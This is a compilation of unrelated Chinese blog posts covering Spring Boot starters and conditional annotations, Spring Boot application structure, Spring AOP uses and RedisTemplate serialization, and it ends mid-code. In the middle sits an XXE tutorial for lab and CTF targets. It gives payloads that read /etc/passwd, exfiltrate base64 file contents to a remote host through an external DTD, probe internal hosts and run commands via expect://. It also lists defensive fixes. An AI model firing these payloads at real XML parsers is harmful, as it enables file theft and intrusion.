import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
/**
* 用于自动配置日志库中的服务类的自动配置类
*/
// 该类标记为配置类
@Configuration
// 通过@EnableConfigurationProperties注解指定我们的属性配置类,才能在这个类中使用自动装配获取到属性配置类的Bean并读取配置
@EnableConfigurationProperties(LogConfigProperties.class)
public class LogServiceAutoConfiguration {
/**
* 获取属性配置类以读取配置文件中的配置值
*/
@Autowired
private LogConfigProperties logConfigProperties;
/**
* 在这里创建服务类LogService的实例,设定配置并注册为Bean
*/
@Bean
public LogService logService() {
// 以读取的配置值创建配置对象
LogConfig config = new LogConfig();
config.setShowTime(logConfigProperties.isShowTime());
// 实例化日志服务类并设定配置
LogService service = new LogService();
service.setConfig(config);
// 输出一个提示语
System.out.println("------- LogService自动配置完成!-------");
return service;
}
}
这个类并不难,我们来看一下其中的一些要点:
@EnableConfigurationProperties注解:表示加载一个配置属性读取类(标注了@ConfigurationProperties注解用于读取配置文件值的类),并将其实例化为Bean注册到IoC容器,这样就可以在该配置类中使用自动装配得到配置属性读取类,获取配置值
在其中我们写了一个带有@Bean的方法,@Bean注解的作用相信大家都知道了,方法中我们完成了最开始在Spring开发中使用者的Bean的定义工作,即创建好外部库的LogService类型的Bean并放入IoC容器中去
5. 编写自动配置候选类配置文件
上述了解了自动配置过程,我们知道要想Spring Boot能够加载到上述的自动配置类LogServiceAutoConfiguration,还需要编写自动配置候选类配置文件并放在指定位置。
假设你要制作Spring Boot 2.x的starter,那就在resources目录下创建META-INF/spring.factories文件:
在里面声明上述的自动配置类的全限定类名:
org.springframework.boot.autoconfigure.EnableAutoConfiguration=com.gitee.swsk33.logspringboot2starter.autoconfigure.LogServiceAutoConfiguration
如果你有多个自动配置类,则以逗号,隔开,例如:
org.springframework.boot.autoconfigure.EnableAutoConfiguration=com.mycorp.libx.autoconfigure.LibXAutoConfiguration,com.mycorp.libx.autoconfigure.LibXWebAutoConfiguration
当然,这样写成一行不太美观,可以借助\换行,如下:
org.springframework.boot.autoconfigure.EnableAutoConfiguration=\
com.mycorp.libx.autoconfigure.LibXAutoConfiguration,\
com.mycorp.libx.autoconfigure.LibXWebAutoConfiguration
如果你是制作Spring Boot 3.x的starter,那就在resources目录下创建META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports文件:
在其中直接声明自动配置类的全限定类名即可:
com.gitee.swsk33.logspringboot3starter.autoconfigure.LogServiceAutoConfiguration
多个自动配置类则每行一个,例如:
com.mycorp.libx.autoconfigure.LibXAutoConfiguration
com.mycorp.libx.autoconfigure.LibXWebAutoConfiguration
如果说你想要制作的starter即兼容Spring Boot 2.x版本也支持3.x版本呢?那将上述两个版本的自动配置候选类配置文件都写一个即可!代码部分是一样的。
好的,到此我们的starter就制作完成了!同样地,执行mvn clean install命令将其安装至本地Maven仓库。
6. 【补充】starter的命名
starter的artifactId通常也是有所讲究的,我们通常将自己制作的starter命名为xxx-spring-boot-starter,例如log-spring-boot-starter,这个规范需要遵守。
我们也可以发现Spring官方的starter的命名格式为spring-boot-starter-xxx,例如spring-boot-starter-web,和我们自己的starter命名“相反”,可见上述规范也是为了将第三方starter和官方的区分开来。
(3) 使用Spring Boot调用我们的starter
在Spring Boot项目中直接引入我们的starter的工件坐标作为依赖即可,然后就可以在我们需要使用的地方,直接通过@Autowired注解注入LogService类的对象即可使用!
package com.gitee.swsk33.springboot3use;
import com.gitee.swsk33.logcoredemo.service.LogService;
import jakarta.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class SpringBoot3UseApplication {
/**
* 在需要使用的地方自动装配一下即可!
*/
@Autowired
private LogService logService;
@PostConstruct
private void init() {
// 测试调用
logService.info("调用日志服务!");
}
public static void main(String[] args) {
SpringApplication.run(SpringBoot3UseApplication.class, args);
}
}
这里直接在主类调用,然后运行试试:
可见控制台输出了对应消息,说明我们制作的starter自动配置成功!
除此之外,使用者还可以在配置文件application.properties中进行对应配置:
# 配置显示时间
com.gitee.swsk33.log-core-demo.show-time=true
相信到这里,大家就知道starter是什么了!可见starter帮我们完成了下列工作:
导入所有所需的依赖:上述starter中引入了所有需要的依赖,包括日志外部库,这样开发者只需要引入starter作为依赖即可,不需要手动配置所有依赖
完成了Bean的定义:Starter中已经完成了对外部库中使用的类的Bean的定义,而不需要使用者像最开始使用Spring框架开发时自己编写外部库中的Bean定义
抽离出用户可自定义的配置部分:例如上述日志的配置部分,即配置是否显示时间的部分,是可以由使用者自定义的,在starter中我们用配置属性读取类LogConfigProperties抽离出了自定义的部分,使得使用者在Spring Boot的配置文件中定义自定义的配置值即可
可见,starter中通常并不包含一个库的核心功能或者业务代码,只包含自动配置类和自动配置候选类配置文件,当然有时候也可能会包含配置属性读取类。但无论如何,这说明starter应当是和外部库核心是分开的,例如上述日志外部库的核心功能的代码并没有包含在starter中,而是作为一个单独的项目,starter只是引用它而已。
除此之外,我们也学习到了Spring Boot中导入starter作为依赖时,自动配置的大致过程如下:
应用程序启动,Spring Boot扫描所有依赖的classpath路径下的自动配置候选类配置文件,在里面读取到哪些类是用于自动配置的类,其中:
Spring Boot 2.x扫描的是classpath下所有的META-INF/spring.factories文件
Spring Boot 3.x扫描的是classpath下所有的META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports文件
读取到所有自动配置类后,就会将这些类实例化为Bean并放入IoC容器(自动配置类要标注@Configuration注解),这个过程中,这些自动配置类中的所有@Bean方法也会被执行,这样开发者预先约定的Bean就被初始化好了并注册到IoC容器,后续开发者只需通过自动装配获取对应的类的Bean即可
可见,Spring Boot的自动配置机制并不是很难,制作starter也不是一件难事,对于Spring Boot 2.x和3.x版本的区别,也就是自动配置候选类配置文件的位置和表示方式不同而已。
4,条件注解
上述我们成功地制作了一个starter,不过我们也发现这个starter中的配置,是一定会被加载的,我们能不能设定条件,比如说用户不需要的时候就不加载它以节省内存呢?当然可以!Spring Boot还提供了许多条件加载Bean的注解。
(1) 类加载条件
Spring Boot提供了@ConditionalOnClass和@ConditionalOnMissingClass这两个注解,我们直接看例子:
// 省略package和import
/**
* 用于自动配置日志库中的服务类的自动配置类
*/
@Configuration
@EnableConfigurationProperties(LogConfigProperties.class)
@ConditionalOnClass(LogService.class)
public class LogServiceAutoConfiguration {
// 省略自动配置类的内容
}
我们在上述的自动配置类上面标注了@ConditionalOnClass(LogService.class)注解,表示只有当加载到LogService这个类的时候,这个自动配置类LogServiceAutoConfiguration才会被加载并初始化为Bean。
否则这个类不会被加载,其中的@Bean方法也会不生效,这个配置也就不生效了!
大家可以把上述starter中的日志外部库依赖删掉,然后加上@ConditionalOnClass(LogService.class)注解,最后在Spring Boot工程中引用这个starter,观察一下这个类会不会被加载。
那很简单,@ConditionalOnMissingClass就是和它相反,例如你标注@ConditionalOnMissingClass(LogService.class)就说明如果没有加载到LogService这个类,这个字段配置类才会被加载并初始化为Bean。
这两个注解只能用在类上面,而不能用在标注了@Bean的方法上!
(2) Bean条件
Spring Boot还可以根据是否存在或者不存在某个Bean作为条件,来初始化你的Bean,还是看下列例子:
// 省略package和import
/**
* 用于自动配置日志库中的服务类的自动配置类
*/
@Configuration
@EnableConfigurationProperties(LogConfigProperties.class)
public class LogServiceAutoConfiguration {
@Autowired
private LogConfigProperties logConfigProperties;
/**
* 在这里创建服务类LogService的实例,设定配置并注册为Bean
*/
@Bean
@ConditionalOnBean
public LogService logService() {
// 以读取的配置值创建配置对象
LogConfig config = new LogConfig();
config.setShowTime(logConfigProperties.isShowTime());
// 实例化日志服务类并设定配置
LogService service = new LogService();
service.setConfig(config);
// 输出一个提示语
System.out.println("------- LogService自动配置完成!-------");
return service;
}
}
可见上述logService方法上,标注了@ConditionalOnBean,表示在自动配置时,IoC容器中存在LogService类型的Bean的时候,就会执行这个方法以生成Bean。
同样地,如果改成:
@Bean
@ConditionalOnMissingBean
public LogService logService() {
// 省略方法内容
}
表示在自动配置时,IoC容器中不存在LogService类型的Bean的时候,才会执行这个方法以生成Bean。
可见,这两个注解直接标注(不传参)在@Bean的方法上时,是判断这个方法的返回类型的Bean是否存在/不存在。
当然,还可以这样:
@Bean
@ConditionalOnMissingBean(LogConfig.class)
public LogService logService() {
// 省略方法内容
}
上述指定了注解的value字段值,表示当IoC容器中不存在LogConfig类型的Bean的时候才会执行这个方法生成Bean。
还可以这样:
@Bean
@ConditionalOnMissingBean(name = "logService")
public LogService logService() {
// 省略方法内容
}
上述指定了注解的name字段值,表示当IoC容器中不存在名(id)为logService的Bean的时候才会执行这个方法生成Bean。
那么@ConditionalOnBean注解同理。
事实上,@ConditionalOnMissingBean这个注解是很常用的,使用这个注解,可以允许用户是自定义这个Bean还是使用外部库开发者提供的默认的Bean。
我们来看看Redis的starter中,RedisTemplate类型的Bean:
这是Spring Boot的Redis的starter中,用于自动配置RedisTemplate类型Bean的方法,这里加上了@ConditionalOnMissingBean注解,指定当未找到名为redisTemplate的Bean的时候,就会执行这个方法将RedisTemplate类型Bean注册到IoC容器中。
这样,如果用户需要自行配置RedisTemplate,例如配置Redis的序列化方式时,用户会自己创建一个RedisTemplate类型Bean,配置好序列化方式后就注册到IoC容器,这时有了用户自己创建的RedisTemplate类型Bean,上述官方starter中的这个方法就不会被执行,就可以让用户使用自己自定义的Bean。
可见这种思路,可以使得用户去选择是使用自己自定义的Bean,还是使用官方给出的默认的Bean。
(3) 配置文件条件
官方还提供了@ConditionalOnProperty注解,表示当读取到配置文件application.properties中有特定的配置值的时候,才会实例化某个Bean,例如:
@Bean
@ConditionalOnProperty(prefix = "com.gitee.swsk33", name = "enable-log", havingValue = "true")
public LogService logService() {
// 省略方法内容
}
这表示只有配置文件中,存在配置项com.gitee.swsk33.enable-log并且其值为true时,这个方法才会被执行以生成Bean。
这个注解中,通过prefix和name属性,指定具体的配置项名称,而havingValue表示指定这个配置的值是什么才生效。
加上上述注解,用户就可以通过配置文件来启用或者禁用日志功能:
# 启用日志功能
com.gitee.swsk33.enable-log=true
反之只需把配置值改成false,上述@Bean方法就不会被执行,这个配置不生效。
5,总结
可见Spring Boot的自动配置,大大地方便了我们的开发,这也是为什么我们平时引入依赖例如MongoDB的starter后,就可以直接自动装配MongoTemplate并使用了,非常方便。这些,都是自动配置机制,以及各个starter帮我们简化了开发。
本文以制作一个简单的外部库为例,比较了Spring框架直接引用外部库并配置,以及制作为starter后使用Spring Boot引用这两种情景的区别,认识Spring Boot的自动配置机制帮我们简化了哪些步骤,以及starter是由什么组成的,怎么制作。
这些对于初学者来说可能有些难以理解,希望大家能够仔细阅读完成本文的每一个部分,一步步地认识到自动配置机制解决了什么问题,以及其大致过程。
本文的参考文献:
Spring Boot自动配置机制概述:传送门
Spring Boot 2.x Starter制作指引:传送门
Spring Boot 3.x Starter制作指引:传送门
本文的代码仓库地址:传送门
SpringBoot - Spring Boot 应用剖析
Spring MVC VS Spring Boot在介绍基于 Spring Boot 的开发模式之前,让我们先将它与传统的 Spring MVC 进行简单对比.在典型的 Web 应用程序中,前后端通常采用基于 HTTP 协议完成请求和响应,开发过程中需要完成 URL 地址的映射、HTTP 请求的构建、数据的序列化和反序列化以及实现各个服务自身内部的业务逻辑,如下图所示:【HTTP 请求响应过程】我们先来看基于 Spring MVC 完成上述开发流程所需要的开发步骤,如下图所示:【基于 Spring MVC 的 Web 应用程序开发流程】上图中包括使用 web.xml 定义 Spring 的 DispatcherServlet、完成启动 Spring MVC 的配置文件、编写响应 HTTP 请求的 Controller 以及将服务部署到 Tomcat Web 服务器等步骤。基于传统的 Spring MVC 框架开发 Web 应用逐渐暴露出一些问题,比较典型的就是配置工作过于复杂和繁重,以及缺少必要的应用程序管理和监控机制。【基于 Spring Boot 的 Web 应用程序开发流程】可以看到,它与基于 Spring MVC 的开发流程在配置信息的管理、服务部署和监控等方面有明显不同。Spring Boot 提供了很多新特性,确保了开发过程的简单性,具体体现在编码、配置、部署、监控等多个方面。首先 Spring Boot 使编码更简单。只需要在 Maven 中添加一项依赖并实现一个方法就可以提供微服务架构中所推崇的 RESTful 风格接口其次 Spring Boot 使配置更简单。它把 Spring 中基于 XML 的功能配置方式转换为 Java Config,同时提供了 .yml 文件来优化原有基于 .properties 和 .xml 文件的配置方案,yml 文件对配置信息的组织更为直观方便,语义也更为强大。同时,基于 Spring Boot 的自动配置特性,对常见的各种工具和框架均提供了默认的 starter 组件来简化配置。接着 ,Spring Boot 使部署更简单。在Spring Boot 使配置更简单部署方案上,Spring Boot 也创造了一键启动的新模式。相较于传统模式下的 war 包,Spring Boot 部署包既包含了业务代码和各种第三方类库,同时也内嵌了 HTTP 容器。这种包结构支持 java –jar application.jar 方式的一键启动,不需要部署独立的应用服务器,通过默认内嵌 Tomcat 就可以运行整个应用程序。Spring Boot 使监控更简单。基于 Spring Boot 新提供的 Actuator 组件,开发和运维人员可以通过 RESTful 接口获取应用程序的当前运行时状态并对这些状态背后的度量指标进行监控和报警例如可以通过“/env/{name}”端点获取系统环境变量、通过“/mapping”端点获取所有 RESTful 服务、通过“/dump”端点获取线程工作状态通过“/metrics/{name}”端点获取 JVM 性能指标等。剖析应用有几个地方需要特别注意,我也在图中做了专门的标注,分别是包依赖、启动类、控制器类以及配置, 接下来分别做一些展开pom依赖Spring Boot 提供了一系列 starter 工程来简化各种组件之间的依赖关系。以开发 Web 服务为例,我们需要引入 spring-boot-starter-web 这个工程,而这个工程中并没有具体的代码,只是包含了一些 pom 依赖,如下所示:org.springframework.boot:spring-boot-starterorg.springframework.boot:spring-boot-starter-tomcatorg.springframework.boot:spring-boot-starter-validationorg.springframework.boot:spring-boot-starter-jsonorg.springframework:spring-weborg.springframework:spring-webmvc可以看到,这里包括了传统 Spring MVC 应用程序中会使用到的 spring-web 和 spring-webmvc 组件,因此 Spring Boot 在底层实现上还是基于这两个组件完成对 Web 请求响应流程的构建。使用 Spring Boot 2.2.4 版本, 它所依赖的 Spring 组件都升级到了 5.X 版本。在应用程序中引入 spring-boot-starter-web 组件就像引入一个普通的 Maven 依赖一样,如下所示 <dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>一旦 spring-boot-starter-web 组件引入完毕,我们就可以充分利用 Spring Boot 提供的自动配置机制开发 Web 应用程序。启动类使用 Spring Boot 的最重要的一个步骤是创建一个 Bootstrap 启动类。Bootstrap 类结构简单且比较固化,如下所示:import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class OrderApplication {
public static void main(String[] args) {
SpringApplication.run(OrderApplication.class, args);
}
}
这里引入了一个全新的注解 @SpringBootApplication。在 Spring Boot 中,添加了该注解的类就是整个应用程序的入口,一方面会启动整个 Spring 容器,另一方面也会自动扫描代码包结构下的 @Component、@Service、@Repository、@Controller 等注解并把这些注解对应的类转化为 Bean 对象全部加载到 Spring 容器中。控制器类Bootstrap 类为我们提供了 Spring Boot 应用程序的入口,相当于应用程序已经有了最基本的骨架。接下来我们就可以添加 HTTP 请求的访问入口,表现在 Spring Boot 中也就是一系列的 Controller 类。这里的 Controller 与 Spring MVC 中的 Controller 在概念上是一致的,一个典型的 Controller 类如下所示:import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.springcss.order.domain.Order;
import com.springcss.order.service.OrderService;
@RestController
@RequestMapping(value="orders")
public class OrderController {
@Autowired
OrderService orderService;
@GetMapping(value = "/{orderId}")
public Order getOrderById(@PathVariable Long orderId) {
Order order = orderService.getOrderById(orderId);
return order;
}
}以上代码中包含了 @RestController、@RequestMapping 和 @GetMapping 这三个注解。其中,@RequestMapping 用于指定请求地址的映射关系@GetMapping 的作用等同于指定了 GET 请求的 @RequestMapping 注解@RestController 注解是传统 Spring MVC 中所提供的 @Controller 注解的升级版,相当于就是 @Controller 和 @ResponseBody注解的结合体,会自动使用 JSON 实现序列化/反序列化操作。配置文件在 src/main/resources 目录下存在一个 application.yml 文件,这就是 Spring Boot 中的主配置文件。例如,我们可以将如下所示的端口、服务名称以及数据库访问等配置信息添加到这个配置文件中:server:
port: 8081
spring:
application:
name: orderservice
datasource:
driver-class-name: com.mysql.cj.jdbc.Driver
url: jdbc:mysql://127.0.0.1:3306/appointment
username: root
password: root
事实上,Spring Boot 提供了强大的自动配置机制,如果没有特殊的配置需求,开发人员完全可以基于 Spring Boot 内置的配置体系完成诸如数据库访问相关配置信息的自动集成。案例介绍完了基于 Spring Boot 创建一个 Web 应用的基本流程之后,我们将构建一个系统 Customer Service System , 客户服务系统 来展示 Spring Boot 相关设计理念和各项技术组件。目的在于演示技术实现过程,不在于介绍具体业务逻辑。所以,我们对案例的业务流程做了高度的简化,但涉及的各项技术都可以直接应用到日常开发过程中。在 SpringCSS 中,存在一个 customer-service,这是一个 Spring Boot 应用程序,也是主体服务。在该服务中,我们可以将采用经典的分层架构,即将服务分成 Web 层、Service 层和 Repository 层。整体架构在客服系统中,我们知道其核心业务是生成客户工单。为此,customer-service 一般会与用户服务 account-service 进行交互,但因为用户账户信息的更新属于低频事件,所以我们设计的实现方式是 account-service 通过消息中间件的方式将用户账户变更信息主动推送给 customer–service,从而完成用户信息的获取操作。而针对 order-service,其定位是订单系统,customer-service 也需要从该服务中查询订单信息。SpringCSS 的整个系统交互过程如下图所示
WEB漏洞 XML & XXE漏洞
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。XML 与 HTML 的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
#DTD
文档类型定义(DTD)可定义合法的XML文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
#DTD实体
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>
#xxe漏洞修复与防御方案-php,java,python-过滤及禁用
#方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexml
Data = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
#方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLICpikachu靶场xml数据传输测试-回显,玩法,协议,引入#玩法-读文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///f://payload.txt">
]>
<x>&xxe;</x>
#玩法-内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.18.74/index.txt" >
]>
<x>&rabbit;</x>#引入外部实体dtd
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://192.168.18.74/evil2.dtd">
%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///f://payload.txt">
#无回显-读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.18.74/test.dtd">
%dtd;
%send;
]>
test.dtd:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 'http://192.168.18.74/?data=%file;'>"
>
%payload;
#协议-读文件(绕过)
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
#玩法-RCE
该CASE是在安装expect扩展的PHP环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>xxe-lab靶场登陆框xml数据传输测试-检测发现burp抓包 分析数据包 可判断的类型为xml1.提交的数据包含XML格式如:
<forgot><username>admin</username></forgot>
2.请求头中如:
Content-Type:text/xml或Content-type:application/xml注入代码CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式http://web.jarvisoj.com:9882/
更改请求数据格式:application/xml
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)https://github.com/enjoiz/XXEinjectorgit clone https://github.com/enjoiz/XXEinjector.git参考链接:https://cnblogs.com/bmjoker/p/9614990.html
Spring AOP在项目中的典型应用场景
学过 Spring 的小伙伴相信都知道 AOP,AOP 学的好的小伙伴相信对 AOP 的概念也是轻车熟路:面向切面编程、切点、切面、通知,Aspect、Pointcut、Advice 等如数家珍。AOP 之所以这么重要,是因为它在项目中有着非常广泛的应用,今天这篇文章,松哥就来和大家总结一下,我们在日常开发中,都有哪些典型场景需要用到 AOP。先来一句话总结下,AOP 的使用,基本上都会涉及到自定义注解,一个非常常见的组合,就是自定义注解+AOP。在日常的开发中,有很多重复的代码,我们总是希望将之简化,AOP 就是一个非常常用的简化手段。简化的思路一般是这样:首先,自定义一个注解。定义 AOP 切面,在切面中,定义切点和通知,切点,也就是方法的拦截规则,我们可以按照注解来拦截,也就是某一个带有自定义注解的方法,将被我拦截下来。拦截下来之后,前置通知、后置通知、异常通知、返回通知还是环绕通知,就可以随便写了。所以,这些涉及到自定义注解的地方,基本上都可以算是 AOP 的使用场景了,因为自定义注解,需要用 AOP 来解析。接下来我们来看几个比较典型的例子。1. 幂等性处理接口幂等性的处理,其实有很多种不同的方案,例如:Token 机制去重表利用 Redis 的 setnx设置状态字段上锁无论是哪种方案处理幂等性,每个方法里边都去写一遍幂等性的处理显然是不现实的,因此,一般都是将幂等性的处理通过自定义注解+AOP给封装起来,大致的思路如下:首先自定义一个注解。自定义切点,拦截所有加了自定义注解的方法。定义环绕通知,在环绕通知中,先通过上述五种思路中的任意一种,对方法执行的幂等性进行判断,判断通过了,再执行目标方法,判断不通过,则直接抛出异常,不执行目标方法。这就是自定义注解+AOP 的一个典型应用场景。如果你对上面的表述云里雾里,不妨看看松哥之前发的这个视频,有详细的手把手教程:处理接口幂等性的两种常见方案|手把手教你。2. 接口限流对于接口限流,目前来说,一个比较成熟的方案是使用 Alibaba 的 Sentienl,简单配置一下就可以实现接口限流了。但是如果没有用这个工具呢?如果是我们自己写呢?毫无疑问,还是自定义注解+AOP,思路大致如下:自定义注解。在需要进行限流的接口方法上添加自定义注解,同时还可以设置一些限流的参数,例如时间窗口值、流量大小等。自定义切点,拦截规则就是所有添加了自定义注解的方法,拦截到方法之后,在环绕通知中,可以通过 Redis 插件 redis-cell、通过漏斗算法去处理限流,这个我这里就不罗嗦了,之前的文章中都写过了。限流计算没问题的话,就执行目标方法,否则将操作拦截下来。大致思路如上,说白了就是自定义注解+ AOP,道理虽然简单,但是真正做起来,还是有很多细节,感兴趣的小伙伴可以参考松哥之前的这篇文章:Redis 做接口限流,一个注解的事!。3. 日志处理说到 AOP,所有人都能想到的使用场景了,这个我就不罗嗦了,松哥之前也有过专门的文章介绍,没看过的小伙伴们戳这里:记录项目日志,一个注解搞定。4. 多数据源处理有时候我们项目中存在多个不同的数据源,在实际使用中需要进行切换,网上也有一些开源的解决方案,不过这个东西其实并不难,我们也可以自己写。自定义多数据源的处理,大致上思路如下:从 Spring2.0.1 中引入了 AbstractRoutingDataSource 类,(注意是 Spring2.0.1 不是 Spring Boot2.0.1,所以这其实也算是 Spring 一个非常古老的特性了), 该类充当了 DataSource 的路由中介,它能够在运行时, 根据某种 key 值来动态切换到真正的 DataSource 上。大致的用法就是你提前准备好各种数据源,存入到一个 Map 中,Map 的 key 就是这个数据源的名字,Map 的 value 就是这个具体的数据源,然后再把这个 Map 配置到 AbstractRoutingDataSource 中,最后,每次执行数据库查询的时候,拿一个 key 出来,AbstractRoutingDataSource 会找到具体的数据源去执行这次数据库操作。基于以上知识,我们可以自定义一个注解,在需要切换数据源的方法上,添加这个注解,然后通过 AOP 去解析这个自定义注解,当目标方法被拦截下来的时候,我们跟进注解中的配置,重新设置要执行的数据源,这样将来 service 中的方法在执行的过程中,就会使用到切换之后的数据源了。思路并不难,松哥之前也写过详细的教程,小伙伴们参考这里:手把手教你玩多数据源动态切换!网页上点一下,就能切换不同数据源?松哥手把手教你!5. 方法权限处理这个其实也跟前面的差不多。方法级别的权限处理,一般来说也是基于注解来完成的。如果你使用了 Spring Security 之类的权限框架,就不用自己解析权限注解了,按照框架的要求直接来使用就行了。有的时候,我们可能没有使用 Spring Security,想自己处理权限注解,也是可以的。用户自定义权限注解,为注解添加属性,然后将注解添加到目标方法上,再通过 AOP 去解析这个注解,AOP 将目标方法的执行拦截下来,然后判断用户是否具备所需要的权限,如果具备,就执行目标方法,否则就不执行。前两天松哥刚刚分享的在微服务中,服务内部的权限校验,就是自定义一个注解,将从其他微服务上来的请求给拦截下来,然后判断请求的来源,如果是从其他微服务上来的,就执行目标方法,如果不是从其他微服务上来的,而是从外部来的请求,那么就将之拦截下来抛出异常,不执行目标方法,参见:微服务中的鉴权该怎么做?。6. 事务处理这个倒是不需要自定义注解,对于声明式事务,直接用现成的注解就行了,但是本质上也是 AOP,如果有小伙伴在 Spring 的 XML 中配置过事务的话,就知道这个东西底层也是 AOP。好啦,梳理了几个简单的案例,希望小伙伴们了解到 AOP 并不是屠龙术,而是在日常开发中有着广泛应用的技术。
Redis - RedisTemplate及4种序列化方式深入解读
概述使用Spring 提供的 Spring Data Redis 操作redis 必然要使用Spring提供的模板类 RedisTemplate, 今天我们好好的看看这个模板类 。RedisTemplate看看4个序列化相关的属性 ,主要是 用于 KEY 和 VALUE 的序列化 。 举个例子,比如说我们经常会将POJO 对象存储到 Redis 中,一般情况下会使用 JSON 方式序列化成字符串,存储到 Redis 中 。Spring提供的Redis数据结构的操作类ValueOperations 类,提供 Redis String API 操作ListOperations 类,提供 Redis List API 操作SetOperations 类,提供 Redis Set API 操作ZSetOperations 类,提供 Redis ZSet(Sorted Set) API 操作GeoOperations 类,提供 Redis Geo API 操作HyperLogLogOperations 类,提供 Redis HyperLogLog API 操作StringRedisTemplate再看个常用的 StringRedisTemplateRedisTemplate<K, V> 支持泛型,StringRedisTemplate K V 均为String类型。org.springframework.data.redis.core.StringRedisTemplate 继承 RedisTemplate 类,使用 org.springframework.data.redis.serializer.StringRedisSerializer 字符串序列化方式。RedisSerializer 序列化 接口RedisSerializer接口 是 Redis 序列化接口,用于 Redis KEY 和 VALUE 的序列化RedisSerializer 接口的实现类 如下归类一下JDK 序列化方式 (默认)String 序列化方式JSON 序列化方式XML 序列化方式JDK 序列化方式 (默认)org.springframework.data.redis.serializer.JdkSerializationRedisSerializer ,默认情况下,RedisTemplate 使用该数据列化方式。我们来看下源码 RedisTemplate#afterPropertiesSet()Spring Boot 自动化配置 RedisTemplate Bean 对象时,就未设置默认的序列化方式。绝大多数情况下,不推荐使用 JdkSerializationRedisSerializer 进行序列化。主要是不方便人工排查数据。我们来做个测试运行单元测试看不懂呀 ,老哥KEY 前面带着奇怪的 16 进制字符 , VALUE 也是一串奇怪的 16 进制字符 。。。。。为什么是这样一串奇怪的 16 进制? ObjectOutputStream#writeString(String str, boolean unshared) 实际就是标志位 + 字符串长度 + 字符串内容KEY 被序列化成这样,线上通过 KEY 去查询对应的 VALUE非常不方便,所以 KEY 肯定是不能被这样序列化的。VALUE 被序列化成这样,除了阅读可能困难一点,不支持跨语言外,实际上也没还OK。不过,实际线上场景,还是使用 JSON 序列化居多。String 序列化方式org.springframework.data.redis.serializer.StringRedisSerializer ,字符串和二进制数组的直接转换绝大多数情况下,我们 KEY 和 VALUE 都会使用这种序列化方案。JSON 序列化方式org.springframework.data.redis.serializer.GenericJackson2JsonRedisSerializer 使用 Jackson 实现 JSON 的序列化方式,并且从 Generic 单词可以看出,是支持所有类。public GenericJackson2JsonRedisSerializer(@Nullable String classPropertyTypeName) {
.....
.....
if (StringUtils.hasText(classPropertyTypeName)) {
